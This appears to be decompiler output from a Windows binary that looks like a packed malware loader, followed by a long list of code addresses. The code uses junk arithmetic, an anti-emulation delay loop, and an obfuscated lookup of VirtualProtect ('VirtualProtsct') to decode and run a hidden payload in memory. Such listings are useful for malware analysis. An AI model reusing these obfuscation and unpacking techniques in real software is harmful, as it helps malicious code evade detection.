					_v2624 = 0x4f874a1;
					_v2664 = 0x62d861b2;
					_v2744 = 0x2823e71b;
					_v2516 = 0x111e915f;
					_v2776 = 0x3889793c;
					_v2612 = 0x150defff;
					_v2336 = 0x32082b89;
					_v2656 = 0x6c48c78e;
					_v2484 = 0x58059949;
					_v2644 = 0x2b55de4;
					_v2820 = 0x40d64522;
					_v2700 = 0x5d87ae6a;
					_v2796 = 0x52469379;
					_v2868 = 0x663f9826;
					_v2792 = 0x22bc3584;
					_v2852 = 0x36952ab7;
					_v2388 = 0x34eb3e83;
					_v2576 = 0x48b5cd08;
					_v2440 = 0x3e17a3ac;
					_v2708 = 0x7ee7afaa;
					_v2628 = 0x27f41295;
					_v2652 = 0x563eabc7;
					_v2404 = 0x1c2e8267;
					_v2684 = 0x422640a5;
					_v2668 = 0x665c5459;
					_v2332 = 0x2d342b0d;
					_v2476 = 0x6ec9383a;
					_v2660 = 0x4b77a28d;
					_v2604 = 0x6cfe061;
					_v2752 = 0x77c06004;
					_v2564 = 0x30f689e8;
					_v2540 = 0x63ad117b;
					_v2728 = 0x6637102b;
					_v2784 = 0x331a3ce7;
					_v2804 = 0x6e85decf;
					_v2548 = 0x43bb0147;
					_v2348 = 0x6890c260;
					_v2580 = 0x79161d60;
					_v2556 = 0x39916f5e;
					_v2452 = 0x745d8af1;
					_v2636 = 0x196bd9f3;
					_v2380 = 0x6f2f102d;
					_v2676 = 0x2041d03f;
					_v2508 = 0x524a3788;
					_v2800 = 0x5ff4fb93;
					_v2412 = 0x38b7b1c1;
					_v2812 = 0x76ae97eb;
					_v2524 = 0x4509a9e6;
					_v2372 = 0x20a57291;
					_v2584 = 0x5a97c3df;
					_v2460 = 0x52d858ae;
					_v2396 = 0x9a6dd44;
					_v2436 = 0x2d369d87;
					_v2364 = 0x76870e5c;
					_v2468 = 0x4be40305;
					_v2444 = 0x287a7808;
					_v2620 = 0x3b39556b;
					_v2324 = 0x1fa68735;
					_v2596 = 0x3e826615;
					_v2356 = 0x79f83a59;
					_v2420 = 0x7fdf1653;
					_v2428 = 0x6ed5d178;
					_v2340 = 0x4bb60310;
					_v3056 = _v3056 + 0x95550b1;
					_v3056 = _v3056 - 0x430197ec;
					_v3056 = _v3056 + 0x5bbcb5e6;
					_v3056 = _v3056 + 0x3654f505;
					_v3056 = _v3056 - 0x33db2a25;
					_v3056 = _v3056 + 0x79a69834;
					_v3056 = _v3056 + 0x77c0b62d;
					_v3044 = _v3044 + 0x6bc753b2;
					_v3048 = _v3048 + 0x30a6be4e;
					_v3048 = _v3048 + 0x3fcf4a8a;
					_v3056 = _v3056 - 0x6b47b86d;
					_v3056 = _v3056 - 0x256adbec;
					_v3048 = _v3048 + 0x399a7a57;
					_v3048 = _v3048 + 0xfe4c244;
					_v3048 = _v3048 - 0x3d37692c;
					_v3056 = _v3056 - 0x461c5404;
					_v2924 = _v2924 - 0x129ff4a1;
					_v3048 = _v3048 + 0x7caf3a8f;
					_v3036 = _v3036 - 0x67c79428;
					_v2984 = _v2984 - 0x6c88256f;
					_v3048 = _v3048 + 0x1ecfdcfe;
					_v3000 = _v3000 + 0x3473cc58;
					_v2984 = _v2984 + 0x26a3ce43;
					_v2924 = _v2924 - 0x7e1b9d01;
					_v3044 = _v3044 - 0x5c04e079;
					_v3008 = _v3008 - 0x6b48461d;
					_v3008 = _v3008 + 0xda7a08e;
					_v3048 = _v3048 - 0x12ee78ef;
					_v3056 = _v3056 + 0x548864e8;
					_v3056 = _v3056 + 0x38f128b4;
					_v2952 = _v2952 + 0x708fcf14;
					_v3036 = _v3036 + 0x34a27c3;
					_v2924 = _v2924 - 0xac0b97c;
					_v2924 = _v2924 - 0x5dfcf0d;
					_v2952 = _v2952 - 0x1a7ef43a;
					_v3000 = _v3000 - 0x60d295b6;
					_v3056 = _v3056 + 0x29fee9fd;
					_v3024 = _v3024 - 0x355ee434;
					_v3000 = _v3000 + 0x2e9975ff;
					_v3040 = _v3040 - 0x553095ad;
					_v3040 = _v3040 + 0x32109770;
					_v2884 = _v2884 + 0x6191137b;
					_v2712 = _v2712 - 0x5944edcf;
					_v2948 = _v2948 + 0xa8517a8;
					_v3048 = _v3048 - 0x1bfe13c5;
					_v3044 = _v3044 + 0x725abc;
					_v2948 = _v2948 - 0x5e865462;
					_v2768 = _v2768 - 0x62158c51;
					_v3056 = _v3056 + 0x1d3d5411;
					_v2888 = _v2888 - 0x5ae7e8a3;
					_v3036 = _v3036 - 0xd5e79e3;
					_v2900 = _v2900 + 0x5e478da0;
					_v3040 = _v3040 + 0x74556458;
					_v3048 = _v3048 + 0x227a5302;
					_v2948 = _v2948 + 0x50ca4aa5;
					_v2952 = _v2952 + 0x47ef335f;
					_v2904 = _v2904 + 0x4938038b;
					_v2984 = _v2984 - 0x682e7019;
					_v2904 = _v2904 - 0x2e6efc38;
					_v3008 = _v3008 + 0x56b0bc9f;
					_v3040 = _v3040 - 0x2f5b8b80;
					_v2740 = _v2740 + 0x4812f370;
					_v3036 = _v3036 - 0x79257098;
					_v3008 = _v3008 + 0x8f7c9fc;
					_v2904 = _v2904 - 0x10814076;
					_v2992 = _v2992 + 0x25152962;
					_v2836 = _v2836 + 0x6332bbf9;
					_v2948 = _v2948 - 0x2028f75c;
					_v2824 = _v2824 - 0x266a7f8f;
					_v2896 = _v2896 - 0xdc553b3;
					_v3024 = _v3024 + 0x6b8e78d9;
					_v2740 = _v2740 + 0x42298614;
					_v2900 = _v2900 - 0x368a6bd4;
					_v3036 = _v3036 - 0x7ea873de;
					_v3036 = _v3036 - 0x7718deae;
					_v3036 = _v3036 - 0x6415d113;
					_v3044 = _v3044 - 0x44a2a82b;
					_v3008 = _v3008 - 0x101e4b54;
					_v2888 = _v2888 - 0x2e647263;
					_v3040 = _v3040 + 0x2d028a88;
					_v2924 = _v2924 - 0x40d61ba5;
					_v3024 = _v3024 + 0x63ae74da;
					_v2896 = _v2896 + 0x7ce6be03;
					_v2888 = _v2888 + 0x1647e46b;
					_v2848 = _v2848 - 0x4209463c;
					_v3008 = _v3008 - 0x6c447003;
					_v2912 = _v2912 - 0x226256d6;
					_v2848 = _v2848 - 0x7340cec0;
					_v3024 = _v3024 - 0x2d0829cf;
					_v2892 = _v2892 - 0x5296d35a;
					_v2840 = _v2840 - 0x65a701b9;
					_v3024 = _v3024 - 0x3235c305;
					_v3000 = _v3000 - 0x7e92e087;
					_v2936 = _v2936 - 0x453c7c0e;
					_v2896 = _v2896 + 0x707df004;
					_v3040 = _v3040 + 0x12a9517e;
					_v2944 = _v2944 + 0x5c448034;
					_v2992 = _v2992 + 0x65b8a1f0;
					_v2872 = _v2872 + 0x4e75c612;
					_v2740 = _v2740 + 0x34ea2e1d;
					_v3024 = _v3024 + 0x1d082eeb;
					_v2884 = _v2884 + 0x4da83ba;
					_v2808 = _v2808 - 0x476a1864;
					_v3036 = _v3036 + 0xa221d92;
					_v3040 = _v3040 - 0x52ea405b;
					_v2912 = _v2912 + 0x737c9818;
					_v3000 = _v3000 + 0x676b34f2;
					_v2952 = _v2952 - 0x6a9e5f85;
					_v3044 = _v3044 - 0xed26feb;
					_v2848 = _v2848 - 0x33dfaed6;
					_v3000 = _v3000 - 0x65baae89;
					_v3040 = _v3040 + 0x42b8a833;
					_v2884 = _v2884 - 0x4546be3;
					_v2936 = _v2936 - 0x27bcc336;
					_v2932 = _v2932 + 0x1898d8f;
					_v2912 = _v2912 - 0x40d5040e;
					_v3040 = _v3040 - 0x2d647584;
					_v2924 = _v2924 - 0x548829d5;
					_v2960 = _v2960 - 0x1ad36fc;
					_v2880 = _v2880 - 0x72ff6bea;
					_v2948 = _v2948 - 0x6ace113e;
					_v3040 = _v3040 - 0x353344e8;
					_v3036 = _v3036 + 0x423c798f;
					_v2836 = _v2836 - 0x6068e2e3;
					_v2952 = _v2952 - 0x4435ceac;
					_v2592 = _v2592 + 0x463772b9;
					_v3024 = _v3024 - 0x56ff5d79;
					_v2692 = _v2692 - 0x67888134;
					_v2932 = _v2932 - 0x223a569c;
					_v2768 = _v2768 - 0x2c5d7510;
					_v2944 = _v2944 - 0x60bcbda8;
					_v2884 = _v2884 + 0x334afeac;
					_v2904 = _v2904 + 0x7422c213;
					_v2892 = _v2892 - 0x1dd4c6cd;
					_v2936 = _v2936 + 0x5292f094;
					_v2992 = _v2992 + 0x1bd8ba41;
					_v2776 = _v2776 + 0x2384333b;
					_v2828 = _v2828 + 0x1137335f;
					_v2808 = _v2808 - 0x6de244cf;
					_v2944 = _v2944 - 0x54dcb8b6;
					_v2872 = _v2872 - 0x6463904e;
					_v2848 = _v2848 - 0x29a23d1d;
					_v2892 = _v2892 - 0x572622ac;
					_v3024 = _v3024 + 0x746539e5;
					_v2912 = _v2912 + 0x66d9d949;
					_v2920 = _v2920 + 0x4669ebc4;
					_v2932 = _v2932 + 0x1f495069;
					_v2900 = _v2900 - 0x1749a492;
					_v3044 = _v3044 + 0x10972c29;
					_v2612 = _v2612 + 0x1bc55753;
					_v3000 = _v3000 + 0x4917d420;
					_v3056 = _v3056 + 0x335fcd4e;
					_v2860 = _v2860 + 0x77549bea;
					_v2336 = _v2336 + 0x64c0a0b4;
					_v3044 = _v3044 - 0x7b2013d8;
					_v2892 = _v2892 - 0x56b19ff5;
					_v2900 = _v2900 - 0x4a95e601;
					_v2808 = _v2808 - 0x6b005ef2;
					_v3048 = _v3048 + 0x736bb156;
					_v2900 = _v2900 + 0x5098800;
					_v2984 = _v2984 - 0x1746a267;
					_v2664 = _v2664 - 0x1aa6cf14;
					_v2824 = _v2824 - 0x7971c4e6;
					_v2884 = _v2884 + 0x4a001310;
					_v2932 = _v2932 - 0x80678e1;
					_v2824 = _v2824 + 0x65195ee4;
					_v2864 = _v2864 + 0x2f7766af;
					_v2992 = _v2992 - 0x603fee3e;
					_v2828 = _v2828 - 0x5046a796;
					_v2932 = _v2932 - 0x662812ad;
					_v2664 = _v2664 - 0x3143dbad;
					_v2760 = _v2760 + 0x6ae95c2b;
					_v2824 = _v2824 - 0x7e53468e;
					_v2840 = _v2840 + 0x587fa879;
					_v2944 = _v2944 + 0x7f995228;
					_v2920 = _v2920 + 0x7d3f1712;
					_v2960 = _v2960 + 0x7a32fec7;
					_v2624 = _v2624 - 0x7827e165;
					_v2760 = _v2760 - 0x62d9098e;
					_v2932 = _v2932 + 0x28d157a9;
					_v2960 = _v2960 + 0x3e60a1d2;
					_v2992 = _v2992 + 0x4dc058c8;
					_v2624 = _v2624 - 0x14c7bc2a;
					_v2992 = _v2992 + 0x5284c218;
					_v2792 = _v2792 - 0x2015839d;
					_v2656 = _v2656 + 0x2a3cf6a1;
					_v2776 = _v2776 + 0x7d4258eb;
					_v2868 = _v2868 - 0x3d313a93;
					_v2744 = _v2744 + 0x62e1b11f;
					_v3048 = _v3048 + 0x71a4b522;
					_v2936 = _v2936 - 0x10474b89;
					_v2644 = _v2644 - 0x6f26dd47;
					_v2860 = _v2860 - 0x358387a7;
					_v2792 = _v2792 - 0x454734bc;
					_v2860 = _v2860 - 0x3611bd17;
					_v2796 = _v2796 - 0x4edbf39f;
					_v3044 = _v3044 - 0x5f89bac6;
					_v2892 = _v2892 + 0x6d0636d0;
					_v2656 = _v2656 + 0x39f42dc4;
					_v2708 = _v2708 + 0x66e2499c;
					_v2880 = _v2880 - 0x66f3015b;
					_v2868 = _v2868 - 0x78e6439;
					_v2592 = _v2592 + 0x12eba284;
					_v2864 = _v2864 + 0x4ad459e8;
					_v2440 = _v2440 + 0x7a5f7add;
					_v3048 = _v3048 - 0x2708bf1d;
					_v2840 = _v2840 + 0x701cbf27;
					_v2700 = _v2700 + 0x6ac52648;
					_v3044 = _v3044 - 0x69e059e6;
					_v2944 = _v2944 - 0x64dc0cde;
					_v2576 = _v2576 - 0x3aacb0d8;
					_v2752 = _v2752 + 0x761e640e;
					_v2796 = _v2796 - 0x45f0b5ef;
					_v2960 = _v2960 - 0x35ed1194;
					_v2912 = _v2912 + 0x76f3c40c;
					_v2880 = _v2880 + 0x150f9d9b;
					_v2896 = _v2896 - 0x3124aded;
					_v3000 = _v3000 + 0x56619ad3;
					_v2904 = _v2904 - 0x56926445;
					_v3036 = _v3036 + 0x448409ea;
					_v2852 = _v2852 + 0x19bbe11c;
					_v2796 = _v2796 - 0x7ef6dac;
					_v3024 = _v3024 + 0xaf0c32d;
					_v2984 = _v2984 + 0x440d8acd;
					_v2872 = _v2872 + 0x393555b8;
					_v2712 = _v2712 - 0x6c979cd2;
					_v2960 = _v2960 - 0x4dc6f7cb;
					_v2660 = _v2660 + 0x466c408d;
					_v2684 = _v2684 + 0x29ad97d;
					_v2840 = _v2840 + 0x285b56bb;
					_v2580 = _v2580 - 0x68319ba4;
					_v2564 = _v2564 - 0x27515d23;
					_v3044 = _v3044 + 0x431fcb0f;
					_v2960 = _v2960 - 0x51775d2b;
					_v2896 = _v2896 - 0x772114b0;
					_v2872 = _v2872 + 0x49d7156;
					_v2820 = _v2820 + 0xa89a25d;
					_v2920 = _v2920 + 0x3736423e;
					_v2556 = _v2556 - 0x28f051ce;
					_v2792 = _v2792 - 0x4e60d274;
					_v2728 = _v2728 - 0x18945d2b;
					_v2864 = _v2864 + 0x892946c;
					_v2952 = _v2952 - 0x65a503d9;
					_v2784 = _v2784 + 0x15e9961;
					_v3008 = _v3008 + 0x1f09c883;
					_v2852 = _v2852 + 0x46d1ad82;
					_v3040 = _v3040 + 0x1b8efafc;
					_v2708 = _v2708 + 0x2100daab;
					_v2548 = _v2548 + 0x233d054a;
					_v2880 = _v2880 - 0x549f9ecd;
					_v2836 = _v2836 + 0x78eb9142;
					_v2808 = _v2808 - 0x487e4700;
					_v2864 = _v2864 + 0x7713244a;
					_v2804 = _v2804 + 0x30d90079;
					_v2984 = _v2984 - 0x508cfe3;
					_v2804 = _v2804 - 0x3a1c02be;
					_v3044 = _v3044 + 0x314da96d;
					_v3056 = _v3056 - 0x168b0464;
					_v2936 = _v2936 - 0x48385794;
					_v2540 = _v2540 + 0x4da8d724;
					_v2784 = _v2784 + 0x531d486e;
					_v2860 = _v2860 + 0x3ef538b7;
					_v3036 = _v3036 + 0x26d724cb;
					_v2532 = _v2532 + 0x9bc5c21;
					_v2752 = _v2752 - 0x6dde65b7;
					_v2784 = _v2784 - 0xb08b04a;
					_v2888 = _v2888 + 0x5c27fa5c;
					_v2992 = _v2992 - 0x212895fd;
					_v2944 = _v2944 - 0x261e2e85;
					_v2776 = _v2776 + 0x2ba6915a;
					_v2852 = _v2852 + 0x34ef3f23;
					_v2768 = _v2768 + 0x6458ad85;
					_v2888 = _v2888 + 0x5439e087;
					_v2628 = _v2628 - 0x4bbdbe5c;
					_v2524 = _v2524 + 0x767848dc;
					_v2812 = _v2812 - 0x2e56b12;
					_v2676 = _v2676 + 0x3da5d9cb;
					_v2960 = _v2960 + 0x78481c6e;
					_v3008 = _v3008 + 0x73157f5a;
					_v2804 = _v2804 + 0x6a53843b;
					_v2516 = _v2516 + 0x3844d6ea;
					_v2700 = _v2700 + 0x545bc2c0;
					_v2508 = _v2508 + 0x68fd6ee1;
					_v2668 = _v2668 - 0x179bde24;
					_v3024 = _v3024 + 0x54666b72;
					_v2880 = _v2880 + 0x281c8c63;
					_v2584 = _v2584 - 0x57edd632;
					_v2652 = _v2652 - 0x161d0ecf;
					_v2636 = _v2636 + 0x2dbad4cd;
					_v2492 = _v2492 - 0x54797945;
					_v2744 = _v2744 + 0x5fb2e9cf;
					_v2820 = _v2820 - 0x526ee0f7;
					_v2692 = _v2692 - 0x5d5645be;
					_v2852 = _v2852 - 0x5c187371;
					_v2484 = _v2484 - 0x8b673aa;
					_v2868 = _v2868 - 0x3a2897b4;
					_v2728 = _v2728 - 0x535e3464;
					_v2936 = _v2936 + 0x42f4e923;
					_v2684 = _v2684 + 0x40a906fa;
					_v2828 = _v2828 + 0x68dd1b91;
					_v2800 = _v2800 - 0x40e4e18b;
					_v2476 = _v2476 - 0x2f988ed0;
					_v2800 = _v2800 - 0x267f649e;
					_v2468 = _v2468 - 0x6ecea3bc;
					_v2676 = _v2676 - 0x4d40f4fb;
					_v2604 = _v2604 + 0x29bcc01a;
					_v2460 = _v2460 + 0x54d6b102;
					_v2668 = _v2668 - 0x6741c013;
					_v2868 = _v2868 + 0x56a67e5e;
					_v2452 = _v2452 - 0x646c3afc;
					_v2920 = _v2920 - 0x18fe783c;
					_v2760 = _v2760 + 0x1c3af627;
					_v2660 = _v2660 + 0x3b4c2e58;
					_v2836 = _v2836 + 0x72295e95;
					_v2444 = _v2444 - 0x58dbee4a;
					_v3040 = _v3040 + 0x213afd51;
					_v2992 = _v2992 - 0x7376b686;
					_v2752 = _v2752 + 0x71e31a5e;
					_v2652 = _v2652 + 0x166101a7;
					_v2436 = _v2436 - 0x76027e6e;
					_v2812 = _v2812 + 0x421e4694;
					_v2428 = _v2428 + 0x56959fa;
					_v2952 = _v2952 + 0x5b600c0d;
					_v2420 = _v2420 + 0x637c3d56;
					_v2744 = _v2744 - 0x414b0263;
					_v2412 = _v2412 + 0x6a75ba50;
					_v2404 = _v2404 + 0x29974de5;
					_v2872 = _v2872 - 0x52b6ff09;
					_v2396 = _v2396 + 0x4c4b07fc;
					_v2388 = _v2388 - 0x293916f4;
					_v2620 = _v2620 + 0x19a5c45b;
					_v2644 = _v2644 + 0x2d0d34b5;
					_v2920 = _v2920 - 0x349c0536;
					_v2380 = _v2380 - 0x18db43d7;
					_v2372 = _v2372 + 0x3c7ba3c9;
					_v2948 = _v2948 + 0x34e25bb1;
					_v2820 = _v2820 - 0x44013c66;
					_v2828 = _v2828 - 0x62444626;
					_v2364 = _v2364 + 0x5155ff53;
					_v2636 = _v2636 + 0x19e5f451;
					_v3044 = _v3044 - 0x7d383614;
					_v2812 = _v2812 + 0x7f76dfc1;
					_v2596 = _v2596 + 0x53779542;
					_v3008 = _v3008 - 0x428e494a;
					_v2356 = _v2356 + 0x54e0d8ae;
					_v2628 = _v2628 + 0x69423c0;
					_v2620 = _v2620 - 0x4c076a74;
					_v2348 = _v2348 - 0x2692959c;
					_v2984 = _v2984 - 0x10820d6e;
					_v2820 = _v2820 + 0x10f501f0;
					_v2612 = _v2612 + 0x40c08d31;
					_v2800 = _v2800 + 0xc195602;
					_v2984 = _v2984 - 0x153df8ed;
					_v2340 = _v2340 - 0x6886b723;
					_v2812 = _v2812 + 0x4f97e961;
					_v2804 = _v2804 - 0x4d2d5e06;
					_v2604 = _v2604 + 0x762b3fad;
					_v2920 = _v2920 + 0xbad5350;
					_v2332 = _v2332 + 0x18183a85;
					_v2324 = _v2324 - 0x69d5a6f6;
					_v2728 = _v2728 - 0x7f3b61aa;
					_v3048 = _v3048 - 0x7f696629;
					_v2596 = _v2596 + 0x67e524be;
					_t1794 = _v2720;
					_t1788 = 0;
					while(1) {
						GetLastError();
						GetCaretPos( &_v2300);
						GetFileInformationByHandle(0,  &_v56);
						if(_t1788 > 0x198fb && _v2300.x != 0x1f9d86e7 && _v56.nFileSizeHigh != 0x1d47b417) {
							break;
						}
						_t1788 = _t1788 + 1;
					}
					E00401127(_t1773,  &_v2264, "wutikefevasukena");
					lstrcpyW(L"kernel32.dll", L"kernel");
					lstrcatA("cesa", "hewehovemariwikujinu");
					BeginPaint(0, 0);
					E004011B8();
					_t1738 =  *0x41ca88; // 0x4111d0
					_v2312 = _t1738;
					E004017A9(0x41f204, GlobalAlloc(0, _t1794));
					_t1774 =  *0x41ca94; // 0x4176ce
					_t1795 = 0;
					_t1790 = _v2724;
					_t1775 = _t1774 + 0x932;
					if(_t1790 == 0) {
						L18:
						_v2588 = 0x10;
						_v2588 = _v2588 + 0x10;
						E004019B4( *0x41f204,  &_v2720, _v2308);
						 *0x41f214( *0x41f204, _t1790, _v2588 + _v2588,  &_v2304);
						E004018A3();
						ExitThread(0);
					} else {
						goto L15;
					}
					do {
						L15:
						CloseHandle(0);
						GetLastError();
						E00401769( *0x41f204, _t1775, _t1795);
						_t1800 = _t1800 + 0xc;
						_t1750 = 0x64;
						if(_t1795 == _t1750) {
							 *0x41f214 = GetProcAddress( *0x41f200, E00401786("VirtualProtsct"));
						}
						_t1795 = _t1795 + 1;
					} while (_t1795 < _t1790);
					goto L18;
				}
				_t1783 = 0x41ca98;
				do {
					_t1762 =  *_t1783;
					_t1783 = _t1783 + 1;
				} while (_t1762 != 0);
				if(_t1783 - 0x41ca99 <= 0x216) {
					goto L5;
				}
				GetProcessShutdownParameters(0, 0);
				GetProcessTimes(0, 0, 0, 0, 0);
				SetProcessWorkingSetSize(0, 0, 0);
				CopyImage(0, 0, 0, 0, 0);
				DestroyIcon(0);
				GetScrollRange(0, 0, 0, 0);
				TerminateProcess(0, 0);
				GetProcessId(0);
				TerminateProcess(0, 0);
				__imp__SetComputerNameExA(0, 0);
				ExitThread(0);
			}

0x004019e2
0x004019e8
0x004019ef
0x004019f8
0x00401a00
0x00401a08
0x00401a10
0x00401a18
0x00401a20
0x00401a28
0x00401a30
0x00401a3b
0x00401a43
0x00401a4e
0x00401a59
0x00401a61
0x00401a6c
0x00401a74
0x00401a7c
0x00401a84
0x00401a8c
0x00401a97
0x00401aa2
0x00401aaa
0x00401ab5
0x00401ac0
0x00401acb
0x00401ad3
0x00401ade
0x00401ae9
0x00401af4
0x00401afc
0x00401b07
0x00401b12
0x00401b1d
0x00401b28
0x00401b33
0x00401b3e
0x00401b49
0x00401b54
0x00401b5f
0x00401b6a
0x00401b75
0x00401b80
0x00401b8b
0x00401b96
0x00401ba1
0x00401bac
0x00401bb7
0x00401bc2
0x00401bcd
0x00401bd8
0x00401be3
0x00401bee
0x00401bf9
0x00401c04
0x00401c0f
0x00401c1a
0x00401c25
0x00401c30
0x00401c3b
0x00401c46
0x00401c51
0x00401c5c
0x00401c67
0x00401c72
0x00401c7d
0x00401c88
0x00401c93
0x00401c9e
0x00401ca9
0x00401cb4
0x00401cbf
0x00401cca
0x00401cd5
0x00401ce0
0x00401ceb
0x00401cf6
0x00401d01
0x00401d0c
0x00401d17
0x00401d22
0x00401d3b
0x00401d3d
0x00401d4d
0x00401d57
0x00401d59
0x00401d69
0x00401d6b
0x00401d73
0x00401d7b
0x00401d8b
0x00401d8d
0x00401d95
0x00401d9d
0x00401dad
0x00401db7
0x00401db9
0x00401dc1
0x00401dc9
0x00401dd9
0x00401ddb
0x00401de3
0x00401df3
0x00401df5
0x00401dfd
0x00401e05
0x00401e15
0x00401e17
0x00401e27
0x00401e29
0x00401e31
0x00401e41
0x00401e4b
0x00401e4d
0x00401e5d
0x00401e5f
0x00401e67
0x00401e77
0x00401e81
0x00401e83
0x00401e8b
0x00401e9b
0x00401e9d
0x00401ea5
0x00401ead
0x00401eb5
0x00401ebd
0x00401ecd
0x00401ed7
0x00401ee1
0x00401eeb
0x00401eed
0x00401ef5
0x00401f05
0x00401f07
0x00401f17
0x00401f19
0x00401f29
0x00401f2b
0x00401f3b
0x00401f3d
0x00401f4d
0x00401f4f
0x00401f5a
0x00401f62
0x00401f72
0x00401f74
0x00401f7c
0x00401f84
0x00401f94
0x00401f96
0x00401fa9
0x00401fb3
0x00401fb5
0x00401fbd
0x00401fc5
0x00401fcd
0x00401fd5
0x00401fe5
0x00401fe7
0x00401ff7
0x00402001
0x00402003
0x0040200b
0x00402016
0x0040201e
0x0040202e
0x00402038
0x0040203a
0x00402042
0x00402052
0x00402054
0x0040205c
0x00402064
0x0040206c
0x00402077
0x00402082
0x0040208a
0x00402092
0x0040209a
0x004020ad
0x004020af
0x004020b7
0x004020bf
0x004020c7
0x004020d2
0x004020da
0x004020e2
0x004020ea
0x004020f2
0x004020fd
0x0040210d
0x00402117
0x00402119
0x00402129
0x0040212b
0x0040213e
0x00402148
0x00402152
0x0040215c
0x00402166
0x00402170
0x00402172
0x0040217a
0x0040218a
0x0040218c
0x0040219c
0x0040219e
0x004021a6
0x004021b9
0x004021bb
0x004021c3
0x004021ce
0x004021d6
0x004021e1
0x004021ec
0x004021f7
0x004021ff
0x00402207
0x0040220f
0x0040221f
0x00402229
0x0040222b
0x00402236
0x00402241
0x00402254
0x0040225e
0x00402268
0x0040226a
0x00402275
0x0040227d
0x00402290
0x0040229a
0x0040229c
0x004022a7
0x004022b2
0x004022c5
0x004022c7
0x004022da
0x004022e4
0x004022e6
0x004022f1
0x004022fc
0x00402304
0x00402314
0x00402316
0x0040231e
0x0040232e
0x00402330
0x0040233b
0x00402343
0x0040234b
0x00402353
0x00402366
0x00402370
0x00402372
0x0040237d
0x0040238d
0x0040238f
0x00402397
0x004023a2
0x004023aa
0x004023b2
0x004023bd
0x004023c8
0x004023d3
0x004023e3
0x004023e5
0x004023f8
0x004023fa
0x00402405
0x00402410
0x00402423
0x0040242d
0x00402437
0x00402441
0x00402443
0x0040244b
0x00402456
0x00402469
0x0040246b
0x0040247b
0x00402485
0x00402487
0x0040249a
0x0040249c
0x004024a7
0x004024af
0x004024b7
0x004024bf
0x004024ca
0x004024dd
0x004024df
0x004024f2
0x004024f4
0x004024fc
0x00402504
0x0040250f
0x00402522
0x00402524
0x0040252f
0x0040253a
0x00402545
0x00402558
0x00402562
0x0040256c
0x00402576
0x00402580
0x0040258a
0x0040258c
0x0040259f
0x004025a9
0x004025ab
0x004025b3
0x004025bb
0x004025c6
0x004025d1
0x004025d9
0x004025e4
0x004025ec
0x004025f4
0x00402607
0x00402609
0x00402614
0x0040261c
0x00402624
0x00402634
0x00402636
0x00402649
0x00402653
0x00402655
0x0040265d
0x00402668
0x0040267b
0x0040267d
0x00402688
0x00402693
0x004026a3
0x004026a5
0x004026ad
0x004026bd
0x004026c7
0x004026c9
0x004026d4
0x004026dc
0x004026ef
0x004026f9
0x004026fb
0x00402706
0x00402711
0x00402724
0x00402726
0x0040272e
0x00402739
0x00402741
0x00402751
0x00402753
0x0040275b
0x0040276e
0x00402770
0x0040277b
0x00402783
0x0040278e
0x00402799
0x004027a1
0x004027b4
0x004027b6
0x004027c1
0x004027d4
0x004027de
0x004027e8
0x004027ea
0x004027f5
0x004027fd
0x0040280d
0x0040280f
0x00402822
0x00402824
0x0040282f
0x0040283f
0x00402849
0x0040284b
0x00402856
0x00402861
0x0040286c
0x00402877
0x00402882
0x0040288d
0x0040289d
0x0040289f
0x004028a7
0x004028af
0x004028bf
0x004028c9
0x004028cb
0x004028de
0x004028e8
0x004028ea
0x004028f5
0x004028fd
0x00402910
0x0040291a
0x0040291c
0x00402924
0x0040292f
0x0040293a
0x0040294d
0x0040294f
0x0040295a
0x00402965
0x00402970
0x0040297b
0x0040298b
0x0040298d
0x00402998
0x004029a0
0x004029ab
0x004029b6
0x004029c9
0x004029d3
0x004029d5
0x004029e5
0x004029ef
0x004029f1
0x00402a04
0x00402a06
0x00402a19
0x00402a1b
0x00402a26
0x00402a31
0x00402a3c
0x00402a47
0x00402a4f
0x00402a57
0x00402a5f
0x00402a67
0x00402a7a
0x00402a7c
0x00402a87
0x00402a92
0x00402a9d
0x00402aa8
0x00402abb
0x00402ac5
0x00402ac7
0x00402ad2
0x00402ae5
0x00402aef
0x00402af1
0x00402afc
0x00402b07
0x00402b12
0x00402b1a
0x00402b25
0x00402b30
0x00402b43
0x00402b4d
0x00402b4f
0x00402b5a
0x00402b6d
0x00402b6f
0x00402b7a
0x00402b82
0x00402b95
0x00402b9f
0x00402ba9
0x00402bab
0x00402bbe
0x00402bc8
0x00402bca
0x00402bda
0x00402bdc
0x00402bf3
0x00402bfe
0x00402c10
0x00402c21
0x00402c98
0x00402c98
0x00402c9d
0x00402c9e
0x00402ca7
0x00402cae
0x00402cb3
0x00402cbe
0x00402cbf
0x00402cc0
0x00402cc8
0x00402cd3
0x00402cd9
0x00402cdf
0x00402ce3
0x00402ce6
0x00402ce9
0x00402cef
0x00402cf2
0x00402cf8
0x00402cfb
0x00402d01
0x00402d04
0x00402d0a
0x00402d0d
0x00402d13
0x00402d16
0x00402d1c
0x00402d1d
0x00402d2a
0x00402d31
0x00402d38
0x00402d3f
0x00402d46
0x00402d4d
0x00402d59
0x00402d59
0x00402d5e
0x00402d5e
0x00402d65
0x00402d6d
0x00402d75
0x00402d7d
0x00402d85
0x00402d90
0x00402d98
0x00402da0
0x00402da8
0x00402db3
0x00402dbb
0x00402dc3
0x00402dcb
0x00402dd6
0x00402dde
0x00402de9
0x00402df4
0x00402dff
0x00402e0a
0x00402e15
0x00402e20
0x00402e2b
0x00402e36
0x00402e41
0x00402e49
0x00402e54
0x00402e5f
0x00402e6a
0x00402e75
0x00402e80
0x00402e8b
0x00402e96
0x00402ea1
0x00402eac
0x00402eb7
0x00402ec2
0x00402ecd
0x00402ed8
0x00402ee3
0x00402eee
0x00402ef9
0x00402f01
0x00402f0c
0x00402f17
0x00402f22
0x00402f2d
0x00402f38
0x00402f43
0x00402f4e
0x00402f59
0x00402f64
0x00402f6f
0x00402f7a
0x00402f85
0x00402f90
0x00402f9b
0x00402fa6
0x00402fb1
0x00402fbc
0x00402fc7
0x00402fd2
0x00402fdd
0x00402fe8
0x00402ff3
0x00402ffe
0x00403009
0x00403014
0x0040301f
0x0040302a
0x00403035
0x00403040
0x0040304b
0x00403056
0x00403061
0x0040306c
0x00403077
0x00403082
0x0040308d
0x00403098
0x004030a3
0x004030ae
0x004030b9
0x004030c4
0x004030cf
0x004030da
0x004030e5
0x004030f0
0x004030fb
0x00403106
0x00403111
0x0040311c
0x00403127
0x00403132
0x0040313d
0x00403148
0x00403153
0x0040315e
0x00403169
0x00403174
0x0040317f
0x0040318a
0x00403195
0x004031a0
0x004031ab
0x004031b6
0x004031c1
0x004031cc
0x004031d4
0x004031dc
0x004031e4
0x004031ec
0x004031f4
0x004031fc
0x00403204
0x0040320c
0x00403214
0x0040321c
0x00403224
0x0040322c
0x00403234
